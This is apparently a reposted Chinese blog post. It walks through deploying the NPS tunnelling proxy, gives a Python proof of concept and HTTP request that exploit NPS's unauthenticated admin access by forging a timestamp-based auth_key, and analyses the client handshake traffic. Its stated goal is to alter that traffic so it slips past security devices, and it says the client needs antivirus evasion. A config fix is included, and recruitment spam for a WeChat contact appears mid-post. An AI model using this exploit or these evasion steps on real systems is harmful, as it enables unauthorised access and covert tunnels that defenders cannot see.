作者:水水2502919973 | 来源:互联网 | 2023-07-13 19:49
前言因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。环境ubuntu16.04vpsserverwindowsserver
前言
因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。
环境
ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install

cd /etc/nps/conf/
vim nps.conf
配置文件
#web
web_host=a.o.com
web_username=xxxx //管理端用户名
web_password=xxxxxx //管理端密码
web_port = xxxxx //管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps

##bridge
bridge_type=tcp //客户端连接协议tcp
bridge_port=xxxx //客户端连接端口
bridge_ip=0.0.0.0

bridge_port
的默认端口默认为8024
,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则
NPS未授权复现
POC
#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
直接访问
http://vps:port?payload

exp请求接口
POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/Javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547

参考链接:
https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
修复措施
vim /etc/nps/conf/nps.conf取消注释
auth_key,添加
auth_crypt_key`注释
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
修改为
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
socks流量分析
nps start
访问http://vps:port/login

新增客户端

这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥
来实现的。

客户端选择windwos server 2012R2
修改客户端配置文件
[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_recOnnection=true
max_cOnn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
客户端启动
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。

查看连接状态


使用goby
测试socks5

测试代理

已成功实现内网穿透。
这里使用wireshark
抓取流量包,
初始流量服务器向客户端发送TST

同时客户端向服务端确认版本,同时返回客户端版本0.26.0

代码位置nps/lib/version/version.go

服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10

服务端接收到请求后返回给客户端服务端版本的md5值,即
md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
可以发现在产生nps
客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到

这是客户端传输给服务端密钥连接
md5(vkey)

服务端在接收到客户端的请求后校验数据后返回success

这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。
更多靶场实验练习、网安学习资料,请点击这里>>
搜索
复制
合天智汇:合天网络靶场、网安实战虚拟环境